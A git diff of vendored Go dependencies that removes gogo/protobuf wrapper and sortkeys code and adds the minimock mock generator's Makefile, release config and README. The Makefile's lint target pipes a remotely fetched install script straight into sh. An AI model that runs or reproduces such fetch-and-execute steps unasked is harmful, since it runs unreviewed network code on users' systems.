WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &boolValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdBoolValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &boolValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdStringValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*string) - v := &stringValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*string) - v := &stringValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdStringValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*string) - v := &stringValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*string) - v := &stringValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdStringValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(string) - v := &stringValue{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(string) - v := &stringValue{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdStringValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*string) - v := &stringValue{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*string) - v := &stringValue{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdStringValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &stringValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdStringValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &stringValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdStringValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &stringValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdStringValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &stringValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdBytesValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*[]byte) - v := &bytesValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*[]byte) - v := &bytesValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdBytesValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*[]byte) - v := &bytesValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*[]byte) - v := &bytesValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdBytesValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().([]byte) - v := &bytesValue{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().([]byte) - v := &bytesValue{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdBytesValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*[]byte) - v := &bytesValue{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*[]byte) - v := &bytesValue{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdBytesValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &bytesValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdBytesValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &bytesValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdBytesValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &bytesValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdBytesValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &bytesValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/wrappers_gogo.go b/vendor/github.com/gogo/protobuf/proto/wrappers_gogo.go deleted file mode 100644 index c1cf7bf8..00000000 --- a/vendor/github.com/gogo/protobuf/proto/wrappers_gogo.go +++ /dev/null @@ -1,113 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -type float64Value struct { - Value float64 `protobuf:"fixed64,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *float64Value) Reset() { *m = float64Value{} } -func (*float64Value) ProtoMessage() {} -func (*float64Value) String() string { return "float64" } - -type float32Value struct { - Value float32 `protobuf:"fixed32,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *float32Value) Reset() { *m = float32Value{} } -func (*float32Value) ProtoMessage() {} -func (*float32Value) String() string { return "float32" } - -type int64Value struct { - Value int64 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *int64Value) Reset() { *m = int64Value{} } -func (*int64Value) ProtoMessage() {} -func (*int64Value) String() string { return "int64" } - -type uint64Value struct { - Value uint64 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *uint64Value) Reset() { *m = uint64Value{} } -func (*uint64Value) ProtoMessage() {} -func (*uint64Value) String() string { return "uint64" } - -type int32Value struct { - Value int32 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *int32Value) Reset() { *m = int32Value{} } -func (*int32Value) ProtoMessage() {} -func (*int32Value) String() string { return "int32" } - -type uint32Value struct { - Value uint32 `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *uint32Value) Reset() { *m = uint32Value{} } -func (*uint32Value) ProtoMessage() {} -func (*uint32Value) String() string { return "uint32" } - -type boolValue struct { - Value bool `protobuf:"varint,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *boolValue) Reset() { *m = boolValue{} } -func (*boolValue) ProtoMessage() {} -func (*boolValue) String() string { return "bool" } - -type stringValue struct { - Value string `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *stringValue) Reset() { *m = stringValue{} } -func (*stringValue) ProtoMessage() {} -func (*stringValue) String() string { return "string" } - -type bytesValue struct { - Value []byte `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` -} - -func (m *bytesValue) Reset() { *m = bytesValue{} } -func (*bytesValue) ProtoMessage() {} -func (*bytesValue) String() string { return "[]byte" } - -func init() { - RegisterType((*float64Value)(nil), "gogo.protobuf.proto.DoubleValue") - RegisterType((*float32Value)(nil), "gogo.protobuf.proto.FloatValue") - RegisterType((*int64Value)(nil), "gogo.protobuf.proto.Int64Value") - RegisterType((*uint64Value)(nil), "gogo.protobuf.proto.UInt64Value") - RegisterType((*int32Value)(nil), "gogo.protobuf.proto.Int32Value") - RegisterType((*uint32Value)(nil), "gogo.protobuf.proto.UInt32Value") - RegisterType((*boolValue)(nil), "gogo.protobuf.proto.BoolValue") - RegisterType((*stringValue)(nil), "gogo.protobuf.proto.StringValue") - RegisterType((*bytesValue)(nil), "gogo.protobuf.proto.BytesValue") -} diff --git a/vendor/github.com/gogo/protobuf/sortkeys/sortkeys.go b/vendor/github.com/gogo/protobuf/sortkeys/sortkeys.go deleted file mode 100644 index ceadde6a..00000000 --- a/vendor/github.com/gogo/protobuf/sortkeys/sortkeys.go +++ /dev/null @@ -1,101 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package sortkeys - -import ( - "sort" -) - -func Strings(l []string) { - sort.Strings(l) -} - -func Float64s(l []float64) { - sort.Float64s(l) -} - -func Float32s(l []float32) { - sort.Sort(Float32Slice(l)) -} - -func Int64s(l []int64) { - sort.Sort(Int64Slice(l)) -} - -func Int32s(l []int32) { - sort.Sort(Int32Slice(l)) -} - -func Uint64s(l []uint64) { - sort.Sort(Uint64Slice(l)) -} - -func Uint32s(l []uint32) { - sort.Sort(Uint32Slice(l)) -} - -func Bools(l []bool) { - sort.Sort(BoolSlice(l)) -} - -type BoolSlice []bool - -func (p BoolSlice) Len() int { return len(p) } -func (p BoolSlice) Less(i, j int) bool { return p[j] } -func (p BoolSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } - -type Int64Slice []int64 - -func (p Int64Slice) Len() int { return len(p) } -func (p Int64Slice) Less(i, j int) bool { return p[i] < p[j] } -func (p Int64Slice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } - -type Int32Slice []int32 - -func (p Int32Slice) Len() int { return len(p) } -func (p Int32Slice) Less(i, j int) bool { return p[i] < p[j] } -func (p Int32Slice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } - -type Uint64Slice []uint64 - -func (p Uint64Slice) Len() int { return len(p) } -func (p Uint64Slice) Less(i, j int) bool { return p[i] < p[j] } -func (p Uint64Slice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } - -type Uint32Slice []uint32 - -func (p Uint32Slice) Len() int { return len(p) } -func (p Uint32Slice) Less(i, j int) bool { return p[i] < p[j] } -func (p Uint32Slice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } - -type Float32Slice []float32 - -func (p Float32Slice) Len() int { return len(p) } -func (p Float32Slice) Less(i, j int) bool { return p[i] < p[j] } -func (p Float32Slice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } diff --git a/vendor/github.com/gojuno/minimock/v3/.gitignore b/vendor/github.com/gojuno/minimock/v3/.gitignore new file mode 100644 index 00000000..9348633c --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/.gitignore @@ -0,0 +1,34 @@ +# Compiled Object files, Static and Dynamic libs (Shared Objects) +*.o +*.a +*.so + +# Folders +_obj +_test + +# Architecture specific extensions/prefixes +*.[568vq] +[568vq].out + +*.cgo1.go +*.cgo2.c +_cgo_defun.c +_cgo_gotypes.go +_cgo_export.* + +_testmain.go + +*.exe +*.test +*.prof + +/examples/sample_interface_mock.go +/cmd/minimock/minimock +/minimock +/dist +/bin +/.gh_token + +.idea +.vscode diff --git a/vendor/github.com/gojuno/minimock/v3/.goreleaser.yml b/vendor/github.com/gojuno/minimock/v3/.goreleaser.yml new file mode 100644 index 00000000..476513bd --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/.goreleaser.yml @@ -0,0 +1,29 @@ +project_name: minimock +builds: +- + main: ./cmd/minimock/ + binary: minimock + env: + - CGO_ENABLED=0 + - GO386=softfloat + goos: + - darwin + - linux + - windows + + ldflags: + - -X main.version={{.Tag}} -X main.commit={{.FullCommit}} -X main.buildDate={{.Date}} + +env_files: + github_token: .gh_token + +checksum: + name_template: 'checksums.txt' +snapshot: + name_template: "{{ .Tag }}" +changelog: + sort: asc + filters: + exclude: + - '^docs:' + - '^test:' diff --git a/vendor/github.com/stoewer/go-strcase/LICENSE b/vendor/github.com/gojuno/minimock/v3/LICENSE similarity index 94% rename from vendor/github.com/stoewer/go-strcase/LICENSE rename to vendor/github.com/gojuno/minimock/v3/LICENSE index a105a381..148e6fa4 100644 --- a/vendor/github.com/stoewer/go-strcase/LICENSE +++ b/vendor/github.com/gojuno/minimock/v3/LICENSE @@ -1,6 +1,6 @@ The MIT License (MIT) -Copyright (c) 2017, Adrian Stoewer +Copyright (c) 2016 Juno Lab Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/vendor/github.com/gojuno/minimock/v3/Makefile b/vendor/github.com/gojuno/minimock/v3/Makefile new file mode 100644 index 00000000..c55d372b --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/Makefile @@ -0,0 +1,56 @@ +export GOBIN := $(PWD)/bin +export PATH := $(GOBIN):$(PATH) +export GOFLAGS := -mod=mod + +all: install test lint + +generate: + go run ./cmd/minimock/minimock.go -i github.com/gojuno/minimock/v3.Tester -o ./tests + go run ./cmd/minimock/minimock.go -i ./tests.Formatter -o ./tests/formatter_mock.go + go run ./cmd/minimock/minimock.go -i ./tests.Formatter -o ./tests/formatter_with_custom_name_mock.go -n CustomFormatterNameMock + go run ./cmd/minimock/minimock.go -i ./tests.genericInout -o ./tests/generic_inout.go + go run ./cmd/minimock/minimock.go -i ./tests.genericOut -o ./tests/generic_out.go + go run ./cmd/minimock/minimock.go -i ./tests.genericIn -o ./tests/generic_in.go + go run ./cmd/minimock/minimock.go -i ./tests.genericSpecific -o ./tests/generic_specific.go + go run ./cmd/minimock/minimock.go -i ./tests.genericSimpleUnion -o ./tests/generic_simple_union.go + go run ./cmd/minimock/minimock.go -i ./tests.genericComplexUnion -o ./tests/generic_complex_union.go + go run ./cmd/minimock/minimock.go -i ./tests.genericInlineUnion -o ./tests/generic_inline_union.go + go run ./cmd/minimock/minimock.go -i ./tests.genericInlineUnionWithManyTypes -o ./tests/generic_inline_with_many_options.go + go run ./cmd/minimock/minimock.go -i ./tests.genericMultipleTypes -o ./tests/generic_multiple_args_with_different_types.go + go run ./cmd/minimock/minimock.go -i ./tests.contextAccepter -o ./tests/context_accepter_mock.go + go run ./cmd/minimock/minimock.go -i github.com/gojuno/minimock/v3.Tester -o ./tests/package_name_specified_test.go -p tests_test + go run ./cmd/minimock/minimock.go -i ./tests.actor -o ./tests/actor_mock.go + go run ./cmd/minimock/minimock.go -i ./tests.formatterAlias -o ./tests/formatter_alias_mock.go + go run ./cmd/minimock/minimock.go -i ./tests.formatterType -o ./tests/formatter_type_mock.go + go run ./cmd/minimock/minimock.go -i ./tests.reader -o ./tests/reader_mock.go -gr + +./bin: + mkdir ./bin + +lint: ./bin/golangci-lint + ./bin/golangci-lint run --enable=goimports --disable=unused --exclude=S1023,"Error return value" ./tests/... + +install: + go mod download + go install ./cmd/minimock + +./bin/golangci-lint: ./bin + curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b ./bin v1.64.8 + +./bin/goreleaser: ./bin + go install -modfile tools/go.mod github.com/goreleaser/goreleaser + +./bin/minimock: + go build ./cmd/minimock -o ./bin/minimock + +.PHONY: +test: + go test -race ./... -v + +build: ./bin/goreleaser + ./bin/goreleaser build --snapshot --rm-dist + +.PHONY: +tidy: + go mod tidy + cd tools && go mod tidy diff --git a/vendor/github.com/gojuno/minimock/v3/README.md b/vendor/github.com/gojuno/minimock/v3/README.md new file mode 100644 index 00000000..0094cd02 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/README.md @@ -0,0 +1,265 @@ +![logo](https://rawgit.com/gojuno/minimock/master/logo.svg) +[![GoDoc](https://godoc.org/github.com/gojuno/minimock?status.svg)](http://godoc.org/github.com/gojuno/minimock) +[![Go Report Card](https://goreportcard.com/badge/github.com/gojuno/minimock)](https://goreportcard.com/report/github.com/gojuno/minimock) +[![Release](https://img.shields.io/github/release/gojuno/minimock.svg)](https://github.com/gojuno/minimock/releases/latest) +[![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/avelino/awesome-go#testing) + + +## Summary +Minimock generates mocks out of Go interface declarations. + +The main features of minimock are: + +* It generates statically typed mocks and helpers. There's no need for type assertions when you use minimock. +* It's fully integrated with the standard Go "testing" package. +* It's ready for Go modules. +* It supports generics. +* It works well with [table driven tests](https://dave.cheney.net/2013/06/09/writing-table-driven-tests-in-go) because you can set up mocks for several methods in one line of code using the builder pattern. +* It can generate several mocks in one run. +* It can generate mocks from interface aliases. +* It generates code that passes default set of [golangci-lint](https://github.com/golangci/golangci-lint) checks. +* It puts //go:generate instruction into the generated code, so all you need to do when the source interface is updated is to run the `go generate ./...` command from within the project's directory. +* It makes sure that all mocked methods have been called during the test and keeps your test code clean and up to date. +* It provides When and Then helpers to set up several expectations and results for any method. +* It generates concurrent-safe mocks and mock invocation counters that you can use to manage mock behavior depending on the number of calls. +* It can be used with the [GoUnit](https://github.com/hexdigest/gounit) tool which generates table-driven tests that make use of minimock. + +## Installation + +If you use go modules please download the [latest binary](https://github.com/gojuno/minimock/releases/latest) +or install minimock from source: +``` +go install github.com/gojuno/minimock/v3/cmd/minimock@latest +``` + +If you don't use go modules please find the latest v2.x binary [here](https://github.com/gojuno/minimock/releases) +or install minimock using [v2 branch](https://github.com/gojuno/minimock/tree/v2) + +## Usage + +``` + minimock [-i source.interface] [-o output/dir/or/file.go] [-g] + -g don't put go:generate instruction into the generated code + -h show this help message + -i string + comma-separated names of the interfaces to mock, i.e fmt.Stringer,io.Reader + use io.* notation to generate mocks for all interfaces in the "io" package (default "*") + -o string + comma-separated destination file names or packages to put the generated mocks in, + by default the generated mock is placed in the source package directory + -p string + comma-separated package names, + by default the generated package names are taken from the destination directory names + -pr string + mock file prefix + -s string + mock file suffix (default "_mock_test.go") + -gr + changes go:generate line from "//go:generate minimock args..." to + "//go:generate go run github.com/gojuno/minimock/v3/cmd/minimock", + useful while controlling minimock version with go mod +``` + +Let's say we have the following interface declaration in github.com/gojuno/minimock/tests package: +```go +type Formatter interface { + Format(string, ...interface{}) string +} +``` + +This will generate mocks for all interfaces defined in the "tests" package: + +``` +$ cd ~/go/src/github.com/gojuno/minimock/tests +$ minimock +``` + +Here is how to generate a mock for the "Formatter" interface only: + +``` +$ cd ~/go/src/github.com/gojuno/minimock/tests +$ minimock -i Formatter +``` + +Same using the relative package notation: + +``` +$ minimock -i ./tests.Formatter +``` + +Same using the full import path of the source package: + +``` +$ minimock -i github.com/gojuno/minimock/tests.Formatter -o ./tests/ +``` + +All the examples above generate ./tests/formatter_mock_test.go file + + +Now it's time to use the generated mock. There are several ways it can be done. + +### Setting up a mock using the builder pattern and Expect/Return methods: +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc).FormatMock.Expect("hello %s!", "world").Return("hello world!") +``` + +The builder pattern is convenient when you have more than one method to mock. +Let's say we have an io.ReadCloser interface which has two methods: Read and Close +```go +type ReadCloser interface { + Read(p []byte) (n int, err error) + Close() error +} +``` + +We can set up a mock using a simple one-liner: +```go +mc := minimock.NewController(t) +readCloserMock := NewReadCloserMock(mc).ReadMock.Expect([]byte(1,2,3)).Return(3, nil).CloseMock.Return(nil) +``` + +But what if we don't want to check all arguments of the read method? +Let's say we just want to check that the second element of the given slice "p" is 2. +This is where "Inspect" helper comes into play: +```go +mc := minimock.NewController(t) +readCloserMock := NewReadCloserMock(mc).ReadMock.Inspect(func(p []byte){ + assert.Equal(mc, 2, p[1]) +}).Return(3, nil).CloseMock.Return(nil) + +``` + +### Setting up a mock using ExpectParams helpers: + +Let's say we have a mocking interface with function that has many arguments: +```go +type If interface { + Do(intArg int, stringArg string, floatArg float) +} +``` + +Imagine that you don't want to check all the arguments, just one or two of them. +Then we can use ExpectParams helpers, which are generated for each argument: +```go +mc := minimock.NewController(t) +ifMock := NewIfMock(mc).DoMock.ExpectIntArgParam1(10).ExpectFloatArgParam3(10.2).Return() +``` + +### Setting up a mock using When/Then helpers: +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc) +formatterMock.FormatMock.When("Hello %s!", "world").Then("Hello world!") +formatterMock.FormatMock.When("Hi %s!", "there").Then("Hi there!") +``` + +alternatively you can use the one-liner: + +```go +formatterMock = NewFormatterMock(mc).FormatMock.When("Hello %s!", "world").Then("Hello 